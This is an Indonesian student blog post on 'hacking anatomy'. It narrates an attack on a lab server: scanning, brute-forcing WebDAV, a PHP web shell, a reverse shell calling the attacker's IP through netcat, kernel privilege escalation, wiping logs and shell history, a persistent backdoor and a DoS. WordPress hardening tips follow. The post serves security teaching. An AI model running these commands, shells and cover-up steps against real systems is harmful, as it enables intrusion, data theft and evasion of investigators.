Sabtu, 21 Mei 2016

Hacking Anatomy

Tugas Keamanan Komputer ( AD ) Arico Shindu - 1312502113Universitas Budi Luhur


...Cara melakukannya dan cara mengamankannya....



Banyak yang bertanya-tanya darimana mulainya mempelajari hacking dan keamanan jaringan. Dalam melakukan hacking tentu ada langkah-langkah yang harus dilakukan, yang dimana langkah - langkah itu biasa disebut anatomi kita dalam melakukan hacking dan masing masing langkah itu mempunyai tujan tersendiri agar tercapainya tujuan tersebut dan untuk maju melangkah ke tahap selanjutnya.

di post ini akan diberikan contoh real hacking nya yang sudah dibagi-bagi per stage anatominya.


Hacking Anatomy
Anatomi Hacking
Hacking Stage 0: Define the Target

Tentukan target yang akan kita serang. Target bisa didapat dari permintaan sang target sendiri untuk audit keamanannya, atau karena hanya iseng untuk mengetest. Untuk contoh kali ini, target nya adalah sebuah server internal ber-IP private (192.168.66.87) yang ingin di audit keamanannya.

Hacking Stage 1: Footprinting

Tahap selanjutnya adalah tahap dimana kita berusaha mencari pintu masuk / informasi sasaran mengenai target sebanyak mungkin. Untuk contoh kali ini saya akan mencari informasi tentang si 192.168.66.87 sebanyak mungkin.

OS Fingerprinting dengan nmap
OS Fingerprinting dengan nmap
Bisa coba juga dengan opsi “nmap -sV” untuk mengetahui versi dari masing-masing servis yang running di target tersebut. Setelah mengetahui versinya, bisa dimanfaatkan untuk dicari di forum-forum atau milis tentang bug/vulnerability dari versi service-nya. Misal Apache target adalah versi 2.0.52, tinggal cari security hole Apache/2.0.52.

Dalam contoh ini kita mendapat informasi bahwa webservernya adalah Apache versi 2.0.52. Dengan kesalahan konfigurasi dari ServerTokens webserver yang di-configure sangat spoiler sekali (Full) didapatkan informasi distro target adalah CentOS Linux lengkap dengan modul-modul yang aktif di webserver tersebut.

Mengais Informasi dari HTTP Response
Mengais Informasi dari HTTP Response

Jangan terlalu terpaku pada informasi yang saya dapatkan ya. Masih banyak informasi yang bisa didapatkan pada stage 1 ini. Diantaranya :
  1. Spesifikasi hardware target
  2. Siapa sysadmin nya
  3. Dimana lokasinya
  4. Topologi antara kita (penyerang) dan target, melewati berapa hop, ada di subnet mana, belakang firewall atau engga, dst
  5. dan lain sebagainya yang bisa dijadikan informasi seputar target

Hacking Stage 2: Scanning

Tahap berikutnya adalah melakukan scanning pada target untuk memetakan kelemahan dan kekuatan target. Sebenarnya nmap di atas juga bisa dikategorikan melakukan scanning, tapi scanning yang kita lakukan di atas masih tergolong ringan jadi lebih condong tergolong tahap perkenalan (footprinting). Seharusnya stage scanning ini sudah lebih intensif dari sekedar mencari informasi atau dengan kata lain sudah ada beberapa tindakan destruktif ringan yang terjadi pada target. Saya menggunakan software OpenVAS untuk men-scanning target sebagai berikut:
Vulnerability Report pada Target dengan OpenVAS
Vulnerability Report pada Target dengan OpenVAS

Dari hasil scan didapatkan informasi bagian mana saja yang vulnerable pada target. Dengan adanya tahap ini, diharapkan scope hacking semakin menyempit alias kita semakin fokus bagian target mana aja yang sebaiknya kita eksploitasi.


Hacking Stage 3: Enumeration

Tahap enumeration adalah tahap melakukan serangan. Pada tahap inilah ada babak gugur (hacker menyerah), exploitasi gagal, atau exploitasi berhasil. Tahap ini adalah tahap dimana kita memasuki sistem, telaah intensif terhadap sasaran, yang mencari user account absah, network resource and share, dan aplikasi untuk mendapatkan mana yang proteksinya lemah. Kadang dalam tahap ini bisa menghabiskan waktu berjam, hari, bulan, taun di tahap ini. Untuk percobaan hacking kali ini, kita coba ambil contoh vulnerability pada WebDAV (module mod_dav Apache) yang dilaporkan sama OpenVAS. Kita fokus dulu untuk hack WebDAV nya.

Biasanya WebDAV ada di direktori /webdav. Default config dan beberapa tutorial webdav juga biasanya mensugesti untuk install webdav di direktori /webdav. Mari kita coba enumerasi webdav target.

HTTP Respon 401
HTTP Respon 401
Ternyata benar kalau  ada folder /webdav/… tapi ternyata untuk masuk folder /webdav/ dibutuhkan authentikasi dulu (terlihat dari respon server HTTP 401 Authorization Required), cuma authorized user yang boleh read dan write isi folder webdav. Sekarang coba kita masukan user password ngasal. Disini dicoba request HTTP HEAD untuk direktori /webdav/ dengan tipe Authorization “Basic” dan username password yang ngasal.

Respon Server Ketika HTTP Auth Salah
Respon Server Ketika HTTP Auth Salah

Terlihat masih sama responnya, HTTP 401, Username dan password diatas itu sudah dikonversi ke format base64 menjadi “YWRtaW5pc3RyYXRvcjphc2RmMTIz”. Kenapa base64? untuk mekanisme autentikasi HTTP menurut RFC-2617 adalah “username:password” di-encode menjadi format base64. Jadi untuk contoh ngasal ini “YWRtaW5pc3RyYXRvcjphc2RmMTIz” = “administrator:asdf123”. Untuk meng-encode dan decode banyak kok toolnya di internet. Salah satunya yang saya gunakan adalah ini.

kita coba pakai bantuan tools Hydra untuk membruteforce user dan password webdav ini. Akhirnya tidak lama ditemukanlah username dan passwordnya.
(login: administrator dengan password: iloveyou)

Enumerasi WebDAV dengan Bruteforce
Enumerasi WebDAV dengan Bruteforce

Saya memanfaatkan user.lst dan password.lst John The Ripper buat si Hydra melakukan bruteforce. Makanya ada di direktori “john-1.7.7” kalo diteliti konsol di atas ini, Terlihat juga di atas ternyata dilakukan 9507 percobaan login ke webdav.

Hacking Stage 4: Gaining Access

Tahap ini adalah tahap masuk ke dalam sistem. Ada dua kemungkinan akibat stage sebelumnya. Jika beribu enumerasi gagal sang hacker bisa langsung skip ke stage terakhir: Denial of Service dengan memenuhi service target dengan segelumit sebanyak-banyak request, sehingga server menjadi sibuk melayani request tersebut. Kalau terlalu sibuk bisa bikin service crash sampai yang paling parah si target bisa restart atau down. Tetapi kalau ternyata di stage sebelumnya salah satu enumerasi berhasil, silahkan bisa baca paragraf selanjutnya di bawah ini.

Gaining access bisa dengan mencari credentials login atau misalnya menginjeksi shellcode pada program/service yang vulnerable sehingga target bisa mengeksekusi binary yang kita inginkan pada systemnya (biasanya sih, prefer kalo target mengeksekusi /bin/sh atau /bin/bash untuk kita sehingga kita bisa dapat shell).

Tetapi untuk contoh kali ini, berhubung di stage sebelumnya kita sudah mendapatkan credentials login (user dan password), mari kita masuk ke webdav menggunakan webdav client bernama Cadaver. Ternyata kita bisa ngapain aja di folder webdav ini. 

Break-in ke Direktori /webdav/
Break-in ke Direktori /webdav/

Hacking Stage 5: Escalating Privilege

Tahap ini adalah tahap untuk meningkatkan privilege jika ternyata kita hanya bisa menguasai target dengan privilege terbatas. Skip step ini jika kita sudah dapat root. Tapi untuk contoh kasus kita, di tahap sebelumnya kita sudah masuk ke folder webdav kan. sekarang puter otak lagi bagaimana caranya agar saya bisa eskalasi privilege a.k.a menjadi root. disini. saya coba menggunakan file PHP yang bisa membantu saya mengeksekusi command-command di system target. Pertama-tama sih coba upload dulu file php pake perintah PUT tentu saja… dan ternyata bisa.

Mengupload File ke Folder WebDAV
Mengupload File ke Folder WebDAV

Setelah php_backdoor.php dan php_cmd.php di upload, buka browser kesayangan dan ketik URL http://192.168.66.87/webdav/php_cmd.php?cmd=<shell command biasa>. Berikut beberapa yang saya coba dan hasil outputnya:


URLOutput
http://192.168.66.87/webdav/php_cmd.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...dst...
http://192.168.66.87/webdav/php_cmd.php?cmd=uname%20-r2.6.9-55.ELsmp
saya coba upload file pamungkas bernama “php-reverse-shell.php” yang saya dapat darihttp://pentestmonkey.net/tools/web-shells/php-reverse-shell untuk mendapatkan shell target memanfaatkan php. Modifikasi sedikit agar tujuan menuju IP saya dan portnya, Tinggal ketikkan ini di URL:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Sementara netcat (nc) sudah stenbai listening di komputer saya dan spawn the target’s shell.. 
Gaining Root Access
Gaining Root Access
Keterangan gambar di atas:
  • Sebelumnya saya sudah mengeksekusi netcat untuk stenbai listening di port 9999. Kemudian kita eksekusi URL http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999 yang akan memberikan shell di netcat saya.
  • Saya mengetikkan perintah “id” untuk mengetahui jadi siapa saya di shell target ini
  • Saya mengetikkan “pwd” untuk mengetahui lokasi aktif di shell (ternyata di folder  /)
  • Browsing-browsing mencari dimana lokasi folder “webdav”. Awalnya sih karena intip-intip isi file httpd.conf/webdav.conf
  • Mengeksekusi exploit local escalation privilege karena ternyata kernelnya sudah jadul (2.6.9). “linux-sendpage3” ini saya upload via Cadaver. Jadi sekarang tinggal eksekusi aja binary “run” nya
  • Who am I? I’m w00t!

Hacking Stage 6: Pilfering
Tahap ini adalah tahap yang tidak terlalu wajib dilakukan. Menurut kamus sih pilfering artinya pencurian. Ya kita bisa mencuri apa saja yang ada pada target. Misalnya dumping file username/password pada system (/etc/passwd dan /etc/shadow), masuk ke database mysql dan jalan-jalan liat table databasenya, atau curi-curi foto dan video.

Hacking Stage 7: Covering Tracks
Begitu kontrol penuh terhadap sistem diperoleh, maka menutup jejak menjadi prioritas. Meliputi membersihkan network log dan penggunaan hide tool seperti macam-macam rootkit dan file streaming.  tahap yang biasanya malah lupa dilakukan orang yang berhasil break into target’s system. Padahal tim ahli forensik bisa menangkap kita karena track record ini. Bukti di pengadilan ya track record ini juga.

Ini contoh log terakhir yang ada di target.. IP kita keliatan
Access Log
Access Log
Silahkan berkreasi untuk membersihkan log nya. Contoh di atas ini adalah log HTTP request.. Mungkin bisa di edit untuk hapus line-line yang mencurigakan hehe. Ada lagi log session SSH kita juga tentu saja.. jangan lupa. Untuk membuat session SSH tidak tercatat, jangan lupa ketik command ‘unset HISTFILE’ dan ‘history -c’ setelah beraktifitas di shell target. Atau bisa dengan mengetikkan command ‘HISTFILE=/dev/null’ sebelum beraktifitas di shell target sedemikian sehingga variable HISTFILE akan selalu dicatat ke /dev/null (=buang) oleh shell target.

*clue* Di sistem target (karena sistemnya *nix), ada 3 log file penting, yang mencatat..:
  1. WTMP – setiap log in/off, waktu log in/off, tty, host
  2. UTMP – siapa yang online saat ini
  3. Lastlog – dari mana sumber log in terakhir
Lokasi file ini biasanya di /etc/ atau /var/adm/ atau /var/log dsb. 

Hacking Stage 8: Creating Backdoors


Ada banyak cara membuat backdoor. Sesuai arti katanya, backdoor artinya pintu belakang atau jalan alternatif untuk kita masuk ke dalam sistem itu untuk kebutuhan kedepan hahah. Kalau bisa dibuat semudah mungkin untuk masuknya. Jangan serumit waktu pertama kali masuk ke target. Contoh backdoor bisa saja menginstall service yang listen pada port rahasia yang memprovide kita akses langsung ke shell target, membuat user baru, dan lain sebagainya.
Untuk contoh kita tadi, backdoor kita tentu saja file php-reverse-shell.php di URL rahasia kita:
http://192.168.66.87/webdav/php-reverse-shell.php?ip=10.5.239.236&port=9999
Jadi kedepannya kalau kita mau bertamu ke target lagi, tinggal siapin link di atas ini plus netcat di komputer kita yang set listen di port 9999. Tips: kalau bisa nama file backdoornya jangan php-reverse-shell.php, sedikit kreatif untuk rename file dan sembunyiin di folder-folder tertentu.
Hacking Stage 9: Denial of Service
Denial of Service (DoS) adalah ancaman yang paling sering terjadi di dunia security. Siapa saja bisa melakukan dan ini bisa terjadi kapan saja, tidak harus karena ulah hacker, bahkan bisa terjadi karena ulah anak-anak alay yang gak ngerti komputer! Sesuai artinya, denial of service ya berarti si target menolak menjalankan service seperti biasanya. 
Faktor-faktor yang menyebabkan denial of service ada banyak. Ada yang karena diserang ribuan rikues bertubi-tubi terus bikin si server sibuk, sampai yang emang karena si penyerang yang berhasil break-in (seperti kita di stage sebelumnya) sengaja ngetik command ‘/etc/init.d/httpd stop’. Ya kalau httpd stop sama aja dengan menolak layanan web dari client ‘kan??
Ini contoh Denial of Service akibat ulah beberapa orang yang tidak mengerti dunia hacking :

This describes a situation where a website ends up denied, not due to a deliberate attack by a single individual or group of individuals, but simply due to a sudden enormous spike in popularity. This can happen when an extremely popular website posts a prominent link to a second, less well-prepared site, for example, as part of a news story. The result is that a significant proportion of the primary site’s regular users — potentially hundreds of thousands of people — click that link in the space of a few hours, having the same effect on the target website as a DDoS attack. A VIPDoS is the same, but specifically when the link was posted by a celebrity.
An example of this occurred when Michael Jackson died in 2009. Websites such as Google and Twitter slowed down or even crashed.Many sites’ servers thought the requests were from a virus or spyware trying to cause a Denial of Service attack, warning users that their queries looked like “automated requests from a computer virus or spyware application”.

Untuk contoh melakukan serang DoS kali ini, saya akan serang service Apache target (192.168.66.87) sampai mabok karena request partial content yang bertubi-tubi..
DoS Attack
DoS Attack
Sambil mengeksekusi program tersebut saya coba menjalankan file test.html yang cuma berisi kata ‘hello world’ dan…. butuh waktu > 3 menit.. bayangkan betapa sibuknya si server. Ini masih bisa di rekayasa dengan membuat parallel reqs nya lebih besar lagi dan loop lebih banyak lagi.. bisa dijamin mabok Apachenya. Hehe

Demikianlah stage hacking dan contoh nyata nya di setiap stage. Hasil akhir setiap stage akan berpengaruh ke stage selanjutnya. 

Cara Mengatasi Tindakan Hacking
Umumnya para hacker mengambil alih website melalui beberapa cara seperti: Deface, SQL Injection, Malware, XSS, RFI, CRLF, CSRF, Base64 dsb. Berikut ini adalah beberapa trik pencegahan yang dapat anda upayakan untuk mengamankan website anda sebelum website kita menjadi korban hacker:
a) Password
Pastikan agar anda menggunakan password yang kuat dengan kombinasi a-z, A-Z, 1-0, dan kode simbol seperti !@#$%^&*(). Selain itu ada baiknya agar anda mengubah password anda secara berkala untuk memaksimalkan keamanan website anda.
b) Versi WordPress
Pastikan agar anda selalu meng-update versi wordpress anda ke versi terbaru.Karena wordpress menyempurnakan fitur dan celah keamanan dari versi ke versi selain itu juga dapat meminimalisir informasi kepada hacker mengenai versi wordpress yang andagunakan.Anda dapat melakukan ini melalui dasbuard wordpress anda.
Pada umumnya, pada theme standar anda dapat menyembunyikan versi wordpress anda melalui Appeareance>Editor. Lalu editlah pada bagian function.php dan hapus berikut Umumnya tidak semua theme menyediakan informasi mengenai versi wordpress, namun beberapa theme tetap meninggalkan informasi ini.
c) File Permission
File Permission adalah fitur yang disediakan pada halaman CPanel bagian File Manager pada server hosting anda yang digunakan untuk merubah parameter standar pada sebuah file satuan ataupun kumpulan untuk memungkinkan file tersebut diakses, dibaca ataupun dirubah oleh pengguna. Umumnya hacker yang dapat dikatakan berhasil apabila telah melakukan inject dan berhasil mereset password admin anda. Untuk itu anda dapat membatasi hal tersebut dengan mengunci file permission pada cpanel tersebut. Cara merubah file permission adalah dengan klik kanan pada file yang bersangkutan lalu akan terdapat 3 baris kotak yang dapat dicentang atau dihilangkan centangnya. Anda tidak perlu mengubah semua file permision pada file website anda namun ada baiknya anda mengubah permission pada file-file berikut dan nilai yang direkomendasikan:
.htaccess ubah menjadi 444 atau 404
wp-config.php ubah menjadi 444 atau 400
index.php 444 atau 400
wp-blog-header.php 400 atau 444
wp-admin 755 atau 705
wp-includes 755 atau 705
wp-content 755 atau 705
wp-content/bps-backup 755
d) Sembunyikan Plugin Anda
Usahakan agar anda menyembunyikan semua plugin yang anda gunakan.Hal ini untuk menutup kemungkinan dan memberi ide kepada hacker untuk menemukan mana-mana saja plugin yang dapat dijadikan celah untuk melakukan hack. Untuk menyembunyikan plugin yang terinstal pada wordpress anda, dapat meng-upload file index kosong ke dalam folder /wp-content/plugins/
e) White list pada .htaccess
Untuk mencegah hacker mengotak-atik folder admin anda ada baiknya anda memasukkan daftar IP Whitelist yang diperbolehkan untuk mengakses folder-folder penting pada website anda sehingga tidak akan ada orang yang dapat melihat folder admin kecuali anda dan daftar IP yang diberikan izin akses. Untuk melakukan hal ini anda dapat menambahkan beberapa baris script kode pada file .htaccess anda yang terletak pada file Manager didalam Cpanel. (munculkan bila tersembunyi). Secara default, letak file .htaccess adalah didalam /wp-admin/
f) Anda dapat mengedit file .htaccess ini langsung melalui cpanel atau melalui komputer anda namun sebaiknya file ini anda backup terlebih dahulu. Setelah itu tambahkan beberapa baris kode dibawah ini pada file .htaccess anda:
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName “WordPress Admin Access Control”
AuthType Basic
order deny,allow
deny from all
# Whitelist Your IP address
allow from xx.xx.xx.xxx
# Whitelist Your Office’s IP address
allow from xx.xx.xx.xxx
# Whitelist Your IP address While Your Traveling (Delete When You Come Back Home)
allow from xx.xx.xx.xxx
Note: Ganti tulisan xx tersebut dengan IP address anda dan IP lain yang ingin anda beri akses.
g) Plugins Security
Beberapa plugins dibawah ini dapat berfungsi maksimal untuk melindungi file-file penting yang rentan menjadi sasaran utama para hacker untuk diserang. Anda dapat menginstal plugin-plugin berikut:
Bulletproof Security (untuk melindungi file .htaccess dan fitur-fitur security lainnya.
Login LockDown (untuk melindungi halaman login anda dari ‘brute force attack’ ,mencatat IP yang berusaha untuk login ke website anda juga memblok IP yang mencurigakan.)
WordPress Firewall (dapat memblokir script-script dan parameter yang mencurigakan)
Timthumb Vulnerability Scanner(untuk mendeteksi script-script mencurigakan yang ditanam oleh hacker yang ingin memanfaatkan situs anda)
h) Themes
Upayakan agar anda tidak mendownload theme yang tidak jelas sumbernya ataupun versi yang Nulled.Karena memungkinkan bagi hacker untuk menambahkan script-script yang dapat dimanfaatkan untuk menyusup kedalam website anda.
i) Plugin Update
Banyak hacker memanfaatkan celah pada beberapa plugin yang menurut mereka dapatdiserang.Oleh karena itulah para pembuat plugin terus menyempurnakan plugin-plugin mereka selain untuk memperkaya fitur juga meningkatkan keamanan yang sebelumnya dapat dimanfaatkan oleh hacker.
j) Backup Database
Untuk mencegah kemungkinan terburuk sangat disarankan agar anda melakukan update database pada wordpress anda dengan bantuan wp-db-backup atau wp-time-machine. wp-time-machine mempunyai fitur melakukan full backup situs wordpress anda, mulai dari image, comment, postingan, theme hingga semua plugin anda.
Apabila anda adalah seorang awam dimana website anda sudah terlajur terkena hack, anda mempunyai 3 opsi untuk memperbaikinya:
1. Anda dapat melakukan restore data backup yang anda simpan dikomputer anda. Setelah itu segeralah mengganti password anda.
2. Mintalah bantuan kepada pihak hosting untuk memperbaiki website anda. Umumnya pihak hosting mempunyai tenaga ahli untuk menangani hal ini.
3. Cara terakhir, anda dapat mengkontak sang hacker tersebut serta membicarakannya dengan baik-baik. Umumnya para hacker meninggalkan alamat email yang dapat dihubungi meskipun beberapa lainnya tidak meninggalkan jejak apa-apa. Namun biasanya bagi hacker yang meninggalkan jejak email masih memungkinkan untuk dimintai bantuan agar mengembalikan website anda. Meskipun kemungkinannya 50-50. Namun pada umumnya komunitas hacker di Indonesia banyak diantaranya yang melakukan hack dengan tujuan untuk mengingatkan pengguna agar dapat meningkatkan sekuriti pada website korban agar dapat melakukan perbaikan selanjutnya. Ya, terkadang hacker golongan ini memberi masukan berharga kepada kita semua.
Tips tamabahan mencegah hacking :
Jangan biarkan seorangpun mengetahui password Anda
Pikir secara cerdas dan cermat sebelum mengunggah foto atau video pribadi ke dunia onlinekarena ‘hukum’ tidak tertulis di internet mengatakan bahwa “Tidak ada satupun tempat yang aman di internet”
Ganti password secara rutin
Jangan tanggapi atau balas postingan negatif baik yang ditujukan langsung kepada Anda atau ke group yang Anda ikuti
Blokir semua pesan mencurigakan dan tidak Anda ketahui yang dikirimkan kepada Anda
Jangan umbar nama lengkap Anda atau teman yang Anda miliki secara online. Buatlah sisipan nama samaran untuk ID yang Anda gunakan
Jangan mengunggah atau membuka email atau apapun dari seseorang yang tidak Anda ketahui atau percaya. Boleh jadi kiriman tersebut adalah virus yang menyaru file lain
Blokir email spam dan hapus secepatnya.

Sekian yang bisa saya sampaikan, semoga bisa bermanfaat dan menjadi berkat.

Sumber blog :